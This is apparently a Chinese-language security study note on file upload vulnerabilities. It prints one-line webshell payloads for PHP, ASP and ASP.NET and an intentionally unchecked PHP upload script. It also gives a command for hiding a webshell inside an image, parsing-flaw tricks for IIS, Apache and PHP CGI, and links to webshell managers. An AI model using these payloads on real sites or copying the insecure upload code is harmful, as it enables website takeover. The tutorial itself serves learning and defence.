本专栏是笔者的网络安全学习笔记,一面分享,同时作为笔记
文件上传漏洞指用户将恶意代码文件上传到服务器上,服务器错将用户上传的恶意代码当做服务器文件解析,导致得恶意代码执行。是用户获得网站的权限,进一步危害服务器
看一个文件上传漏洞的实例
某网站存在文件上传点,允许用户上传文件
某黑客上传了自己的网站木马,内容如下
@eval($_POST[manlu]); ?>
黑客在上传成功后,用浏览器访问了木马的地址
接下来,黑客用工具连接了木马,成功控制了网站
index.html
<html lang="en">
<head>
<meta charset="UTF-8">
<title>文件上传title>
head>
<body>
<form action="upload.php" method="post" enctype="multipart/form-data">
请上传文件:
<input type="file" name="file" id="file"><br>
<input type="submit" value="提交">
form>
body>
html>
upload.php
$path='./uploads';
if (!is_dir($path)){
mkdir($path);
}
if ($_FILES['file']['error']>0){
echo "上传失败";
}else{
$name=$_FILES['file']['name'];
move_uploaded_file($_FILES['file']['tmp_name'],"./uploads/".$name);
echo "上传成功
保存位置:"."uploads/".$name."";
}
?>
在上面的实例中,网站并没有很好地处理用户的上传,导致用户上传了恶意文件,控制了网站。其中,这个恶意代码叫做webshell,通过webshell,可以轻松地控制网站。
有一种webshell,只有一句话,短小精悍,但通过这一句话,配合工具就可以控制整个网站,叫做一句话木马
列举几种常见的一句话木马
PHP
@eval($_POST[pass]); ?>
ASP
<%eval request(pass)%>
ASP.NET
<%@ Page Language="Jscript"%><%eval(Request.Item[pass],"unsafe");%>
有很多WebShell的连接工具,在这里列举最常见的两种
中国菜刀
菜刀工具也是大名鼎鼎的WebShell管理工具了,支持文件管理,数据管理,虚拟终端等功能,是一个好用的WebShell管理工具
这是中国菜刀的界面
目前中国菜刀的网站访问不了,在下载菜刀工具时一定要小心,几乎所有非官方的中国菜刀都是有后门的
中国蚁剑
下载地址:https://github.com/AntSwordProject
中国蚁剑是一款开源的,功能强大的WebShell管理工具,支持文件管理,虚拟终端,数据管理等功能。同时内置多款插件,可以方便地对网站进行渗透。
安装方法:https://www.fujieace.com/hacker/tools/antsword.html
很多网站都只允许上传图片文件,这时就要将WebShell伪装成一张图片上传,称为图片马。
制作方法
准备一张图片文件(1.png)和WebShell(2.php)
打开dos,cd到该目录,输入
copy 1.png/b + 2.php/a 3.jpg
此时在同目录下出现一个3.jpg
以文本形式打开3.jpg,发现WebShell已经插到了文件尾部
上传漏洞通常配合解析漏洞一起使用,在某些地方,如白名单可以绕过检测上传shell
IIS解析漏洞
IIS6.0存在两个经典漏洞
①当建立存在asp,asa的文件夹,文件夹中所有文件都会按照asp文件解析
例如某文件夹名为1.asp,文件夹下有一个图片马。访问图片马,服务器会将图片马作为asp文件解析,从而使攻击者拿下WebShell。
②当文件为 *.asp;1.jpg 时,会将文件作为asp文件解析。例如某WebShell名为1.asp;1.jpg时,将会当做asp文件解析,从而拿下WebShell
Apache解析漏洞
在Apache 1.x 和 Apache 2.x 中存在解析漏洞。
Apache在解析文件时,遇到不认识的拓展名,会从后到前解析,知道遇到认识的拓展名为止。
例如1.php.aaa.bbb.ccc,由于aaa,bbb,ccc是Apache不认识的拓展名,所以会跳过。作为PHP文件解析,从而使攻击者拿下WebShell
新版的Apache修复了这种漏洞
PHP CGI解析漏洞
在PHP的配置文件中存在一个选项 cgi.fix_pathinfo,默认开启
当打开了cgi,当URL是以php结尾,就会作为PHP解析。
例如我先前在某站点上传了图片马1.jpg,我在浏览器访问是无法解析的,但我在结尾加上一个 /.php,URL就成为http://www.xxx.com/uploads/img/2020xxxxxx.jpg/.php
此时文件会当做php解析,从而成功拿下WebShell
下一篇文章专门讲
1.使用白名单
2.防止解析漏洞
3.重命名文件